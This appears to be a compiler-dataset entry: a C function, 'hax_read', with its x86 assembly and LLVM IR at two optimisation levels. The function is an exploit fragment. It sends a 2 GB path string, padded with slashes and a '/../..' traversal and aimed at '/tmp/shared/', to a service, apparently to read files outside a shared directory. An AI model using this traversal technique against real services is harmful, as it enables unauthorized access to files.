#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ O_RDONLY;
int PATH_MAX;
int /*<<< orphan*/ err(int, char *);
int /*<<< orphan*/ free(char *);
scalar_t__ malloc(size_t);
int /*<<< orphan*/ memcpy(char *, char *, int);
int /*<<< orphan*/ memset(char *, char, size_t);
int /*<<< orphan*/ open(char *, int /*<<< orphan*/);
int /*<<< orphan*/ puts(char *);
char *read_str(int);
int /*<<< orphan*/ send_pid(int);
int /*<<< orphan*/ send_str(int, char *);
int /*<<< orphan*/ send_ull(int, int /*<<< orphan*/);
scalar_t__ strcmp(char *, char *);
int /*<<< orphan*/ strcpy(char *, char const *);
int strlen(char const *);
int hax_read(const char *filename) {
  size_t sz = (1l << 31);
  char *hax = (char *)malloc(sz);
  if (!hax) {
    err(1, "malloc(huge)");
  }
  puts("malloc(huge) done");
  int filename_start = PATH_MAX - strlen(filename) - strlen("/tmp/shared/") - 1;
  strcpy(&hax[filename_start], filename);
  memcpy(&hax[filename_start - 6], "/../..", 6);
  memset(hax, '/', filename_start - 6);
  int a_start = filename_start + strlen(filename);
  memset(hax + a_start, 'A', sz - 1 - a_start);
  hax[sz - 1] = 0;
  send_pid(30);
  send_ull(30, 0);
  send_str(30, hax);
  send_str(30, "foobar");
  char *resp = read_str(30);
  if (strcmp(resp, "OK") != 0) {
    err(1, "resp not OK");
  }
  free(resp);
  open("foobar", O_RDONLY);
}


x86 assembly (clang, -O0):
<hax_read>:
push   %rbp
mov    %rsp,%rbp
sub    $0x40,%rsp
mov    %rdi,-0x10(%rbp)
mov    $0x80000000,%eax
mov    %rax,-0x18(%rbp)
mov    -0x18(%rbp),%rdi
call   10e0 <malloc@plt>
mov    %rax,-0x20(%rbp)
cmpq   $0x0,-0x20(%rbp)
jne    121e <hax_read+0x3e>
mov    $0x1,%edi
lea    0xde7(%rip),%rsi
call   10d0 <err@plt>
lea    0xde8(%rip),%rdi
call   1050 <puts@plt>
mov    0x2dbf(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x3c(%rbp)
mov    -0x10(%rbp),%rdi
call   1060 <strlen@plt>
mov    %eax,%ecx
mov    -0x3c(%rbp),%eax
sub    %ecx,%eax
mov    %eax,-0x38(%rbp)
lea    0xdcf(%rip),%rdi
call   1060 <strlen@plt>
mov    %eax,%ecx
mov    -0x38(%rbp),%eax
sub    %ecx,%eax
sub    $0x1,%eax
mov    %eax,-0x24(%rbp)
mov    -0x20(%rbp),%rdi
movslq -0x24(%rbp),%rax
add    %rax,%rdi
mov    -0x10(%rbp),%rsi
call   1040 <strcpy@plt>
mov    -0x20(%rbp),%rdi
mov    -0x24(%rbp),%eax
sub    $0x6,%eax
cltq
add    %rax,%rdi
lea    0xda0(%rip),%rsi
mov    $0x6,%edx
call   10c0 <memcpy@plt>
mov    -0x20(%rbp),%rdi
mov    -0x24(%rbp),%eax
sub    $0x6,%eax
movslq %eax,%rdx
mov    $0x2f,%esi
call   1090 <memset@plt>
mov    -0x24(%rbp),%eax
mov    %eax,-0x34(%rbp)
mov    -0x10(%rbp),%rdi
call   1060 <strlen@plt>
mov    %eax,%ecx
mov    -0x34(%rbp),%eax
add    %ecx,%eax
mov    %eax,-0x28(%rbp)
mov    -0x20(%rbp),%rdi
movslq -0x28(%rbp),%rax
add    %rax,%rdi
mov    -0x18(%rbp),%rdx
sub    $0x1,%rdx
movslq -0x28(%rbp),%rax
sub    %rax,%rdx
mov    $0x41,%esi
call   1090 <memset@plt>
mov    -0x20(%rbp),%rax
mov    -0x18(%rbp),%rcx
sub    $0x1,%rcx
movb   $0x0,(%rax,%rcx,1)
mov    $0x1e,%edi
call   1070 <send_pid@plt>
mov    $0x1e,%edi
xor    %esi,%esi
call   1080 <send_ull@plt>
mov    -0x20(%rbp),%rsi
mov    $0x1e,%edi
call   10b0 <send_str@plt>
mov    $0x1e,%edi
lea    0xd09(%rip),%rsi
call   10b0 <send_str@plt>
mov    $0x1e,%edi
call   10f0 <read_str@plt>
mov    %rax,-0x30(%rbp)
mov    -0x30(%rbp),%rdi
lea    0xcfb(%rip),%rsi
call   10a0 <strcmp@plt>
cmp    $0x0,%rax
je     1368 <hax_read+0x188>
mov    $0x1,%edi
lea    0xcd7(%rip),%rsi
call   10d0 <err@plt>
mov    -0x30(%rbp),%rdi
call   1030 <free@plt>
mov    0x2c68(%rip),%rax
mov    (%rax),%esi
lea    0xcb2(%rip),%rdi
call   1100 <open@plt>
mov    -0x4(%rbp),%eax
add    $0x40,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<hax_read>:
push   %rbp
push   %r15
push   %r14
push   %rbx
push   %rax
mov    %rdi,%r14
mov    $0x80000000,%edi
call   10e0 <malloc@plt>
mov    %rax,%rbx
test   %rax,%rax
jne    120d <hax_read+0x2d>
lea    0xdfd(%rip),%rsi
mov    $0x1,%edi
call   10d0 <err@plt>
lea    0xdf9(%rip),%rdi
call   1050 <puts@plt>
mov    0x2dd0(%rip),%rax
mov    (%rax),%r15d
mov    %r14,%rdi
call   1060 <strlen@plt>
mov    %eax,%ebp
lea    0xdeb(%rip),%rdi
call   1060 <strlen@plt>
add    %ebp,%eax
not    %eax
add    %r15d,%eax
movslq %eax,%rbp
lea    (%rbx,%rbp,1),%rdi
mov    %r14,%rsi
call   1040 <strcpy@plt>
lea    -0x6(%rbp),%r15
lea    (%rbx,%rbp,1),%rdi
add    $0xfffffffffffffffa,%rdi
lea    0xdca(%rip),%rsi
mov    $0x6,%edx
call   10c0 <memcpy@plt>
mov    %rbx,%rdi
mov    $0x2f,%esi
mov    %r15,%rdx
call   1090 <memset@plt>
mov    %r14,%rdi
call   1060 <strlen@plt>
add    %eax,%ebp
movslq %ebp,%rax
mov    %rbx,%rdi
add    %rax,%rdi
mov    $0x7fffffff,%edx
sub    %rax,%rdx
mov    $0x41,%esi
call   1090 <memset@plt>
movb   $0x0,0x7fffffff(%rbx)
mov    $0x1e,%edi
call   1070 <send_pid@plt>
mov    $0x1e,%edi
xor    %esi,%esi
call   1080 <send_ull@plt>
mov    $0x1e,%edi
mov    %rbx,%rsi
call   10b0 <send_str@plt>
lea    0xd61(%rip),%rsi
mov    $0x1e,%edi
call   10b0 <send_str@plt>
mov    $0x1e,%edi
call   10f0 <read_str@plt>
mov    %rax,%rbx
lea    0xd53(%rip),%rsi
mov    %rax,%rdi
call   10a0 <strcmp@plt>
test   %rax,%rax
je     130e <hax_read+0x12e>
lea    0xd36(%rip),%rsi
mov    $0x1,%edi
call   10d0 <err@plt>
mov    %rbx,%rdi
call   1030 <free@plt>
mov    0x2cc3(%rip),%rax
mov    (%rax),%esi
lea    0xd0d(%rip),%rdi
add    $0x8,%rsp
pop    %rbx
pop    %r14
pop    %r15
pop    %rbp
jmp    1100 <open@plt>

LLVM IR (-O0):
@.str = [13 x i8] c"malloc(huge)\00"
@.str.1 = [18 x i8] c"malloc(huge) done\00"
@PATH_MAX = global i32 0
@.str.2 = [13 x i8] c"/tmp/shared/\00"
@.str.3 = [7 x i8] c"/../..\00"
@.str.4 = [7 x i8] c"foobar\00"
@.str.5 = [3 x i8] c"OK\00"
@.str.6 = [12 x i8] c"resp not OK\00"
@O_RDONLY = global i32 0
define i32 @hax_read(i8* %0) {
%2 = alloca i32
%3 = alloca i8*
%4 = alloca i64
%5 = alloca i8*
%6 = alloca i32
%7 = alloca i32
%8 = alloca i8*
store i8* %0, i8** %3
store i64 2147483648, i64* %4
%9 = load i64, i64* %4
%10 = call i64 @malloc(i64 %9)
%11 = inttoptr i64 %10 to i8*
store i8* %11, i8** %5
%12 = load i8*, i8** %5
%13 = icmp ne i8* %12, null
br i1 %13, label %16, label %14
14: ; preds = %1
%15 = call i32 @err(i32 1, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i64 0, i64 0))
br label %16
16: ; preds = %14, %1
%17 = call i32 @puts(i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0))
%18 = load i32, i32* @PATH_MAX
%19 = load i8*, i8** %3
%20 = call i32 @strlen(i8* %19)
%21 = sub nsw i32 %18, %20
%22 = call i32 @strlen(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0))
%23 = sub nsw i32 %21, %22
%24 = sub nsw i32 %23, 1
store i32 %24, i32* %6
%25 = load i8*, i8** %5
%26 = load i32, i32* %6
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds i8, i8* %25, i64 %27
%29 = load i8*, i8** %3
%30 = call i32 @strcpy(i8* %28, i8* %29)
%31 = load i8*, i8** %5
%32 = load i32, i32* %6
%33 = sub nsw i32 %32, 6
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i8, i8* %31, i64 %34
%36 = call i32 @memcpy(i8* %35, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i32 6)
%37 = load i8*, i8** %5
%38 = load i32, i32* %6
%39 = sub nsw i32 %38, 6
%40 = sext i32 %39 to i64
%41 = call i32 @memset(i8* %37, i8 signext 47, i64 %40)
%42 = load i32, i32* %6
%43 = load i8*, i8** %3
%44 = call i32 @strlen(i8* %43)
%45 = add nsw i32 %42, %44
store i32 %45, i32* %7
%46 = load i8*, i8** %5
%47 = load i32, i32* %7
%48 = sext i32 %47 to i64
%49 = getelementptr inbounds i8, i8* %46, i64 %48
%50 = load i64, i64* %4
%51 = sub i64 %50, 1
%52 = load i32, i32* %7
%53 = sext i32 %52 to i64
%54 = sub i64 %51, %53
%55 = call i32 @memset(i8* %49, i8 signext 65, i64 %54)
%56 = load i8*, i8** %5
%57 = load i64, i64* %4
%58 = sub i64 %57, 1
%59 = getelementptr inbounds i8, i8* %56, i64 %58
store i8 0, i8* %59
%60 = call i32 @send_pid(i32 30)
%61 = call i32 @send_ull(i32 30, i32 0)
%62 = load i8*, i8** %5
%63 = call i32 @send_str(i32 30, i8* %62)
%64 = call i32 @send_str(i32 30, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0))
%65 = call i8* @read_str(i32 30)
store i8* %65, i8** %8
%66 = load i8*, i8** %8
%67 = call i64 @strcmp(i8* %66, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0))
%68 = icmp ne i64 %67, 0
br i1 %68, label %69, label %71
69: ; preds = %16
%70 = call i32 @err(i32 1, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0))
br label %71
71: ; preds = %69, %16
%72 = load i8*, i8** %8
%73 = call i32 @free(i8* %72)
%74 = load i32, i32* @O_RDONLY
%75 = call i32 @open(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0), i32 %74)
%76 = load i32, i32* %2
ret i32 %76
}

LLVM IR (-O2):
@.str = [13 x i8] c"malloc(huge)\00"
@.str.1 = [18 x i8] c"malloc(huge) done\00"
@PATH_MAX = global i32 0
@.str.2 = [13 x i8] c"/tmp/shared/\00"
@.str.3 = [7 x i8] c"/../..\00"
@.str.4 = [7 x i8] c"foobar\00"
@.str.5 = [3 x i8] c"OK\00"
@.str.6 = [12 x i8] c"resp not OK\00"
@O_RDONLY = global i32 0
define i32 @hax_read(i8* %0) {
%2 = tail call i64 @malloc(i64 2147483648)
%3 = inttoptr i64 %2 to i8*
%4 = icmp eq i64 %2, 0
br i1 %4, label %5, label %7
5: ; preds = %1
%6 = tail call i32 @err(i32 1, i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str, i64 0, i64 0))
br label %7
7: ; preds = %5, %1
%8 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0))
%9 = load i32, i32* @PATH_MAX
%10 = tail call i32 @strlen(i8* %0)
%11 = tail call i32 @strlen(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0))
%12 = add i32 %11, %10
%13 = xor i32 %12, -1
%14 = add i32 %9, %13
%15 = sext i32 %14 to i64
%16 = getelementptr inbounds i8, i8* %3, i64 %15
%17 = tail call i32 @strcpy(i8* %16, i8* %0)
%18 = add nsw i32 %14, -6
%19 = sext i32 %18 to i64
%20 = getelementptr inbounds i8, i8* %3, i64 %19
%21 = tail call i32 @memcpy(i8* %20, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0), i32 6)
%22 = tail call i32 @memset(i8* %3, i8 signext 47, i64 %19)
%23 = tail call i32 @strlen(i8* %0)
%24 = add nsw i32 %23, %14
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds i8, i8* %3, i64 %25
%27 = sub nsw i64 2147483647, %25
%28 = tail call i32 @memset(i8* %26, i8 signext 65, i64 %27)
%29 = getelementptr inbounds i8, i8* %3, i64 2147483647
store i8 0, i8* %29
%30 = tail call i32 @send_pid(i32 30)
%31 = tail call i32 @send_ull(i32 30, i32 0)
%32 = tail call i32 @send_str(i32 30, i8* %3)
%33 = tail call i32 @send_str(i32 30, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0))
%34 = tail call i8* @read_str(i32 30)
%35 = tail call i64 @strcmp(i8* %34, i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.5, i64 0, i64 0))
%36 = icmp eq i64 %35, 0
br i1 %36, label %39, label %37
37: ; preds = %7
%38 = tail call i32 @err(i32 1, i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.6, i64 0, i64 0))
br label %39
39: ; preds = %37, %7
%40 = tail call i32 @free(i8* %34)
%41 = load i32, i32* @O_RDONLY
%42 = tail call i32 @open(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.4, i64 0, i64 0), i32 %41)
ret i32 undef
}